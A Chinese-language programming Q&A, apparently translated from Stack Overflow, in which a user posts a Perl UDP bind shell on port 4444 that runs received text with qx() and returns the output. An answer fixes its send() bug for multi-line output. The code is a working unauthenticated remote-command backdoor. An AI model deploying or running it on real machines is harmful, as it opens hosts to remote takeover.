0

我正在用 Perl 编写一个非常简单的绑定 shell，它应该在 Windows 上打开一个特定端口，当我用 ncat 连接到它时，我应该能够从 ncat 编写命令，这些命令在机器上执行并返回给我 STDOUT . 到目前为止，这是我的代码：

use strict; use IO::Socket; 
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); 
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    my @cmd = qx($newmsg);
    print(@cmd);
    $sock->send(@cmd);
}

如果我输入一些简单的东西，就像echo Hello world它按预期返回一样，Hello World. 当我键入或包含新行的内容时会出现问题dir（或者我猜到了，我对 ' 很陌生perl）。键入dir时，结果会打印在 perl shell 上（正如预期的那样，由于print(@cmd)，但随后也会打印usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1.并退出，但我从未在 ncat 中收到该消息。

我正在从命令外壳运行命令作为单行： perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"

我该怎么做才能将内容打印为目录？

4

1 回答 1

2

您的问题与$sock->send(@cmd). send 方法期望消息是标量而不是数组。您可以通过以下方式解决此问题

my $CRLF="\x0D\x0A"; # Network line break
$sock->send(join $CRLF, @cmd); # Convert @command into a single string
于 2019-06-13T15:23:23.110 回答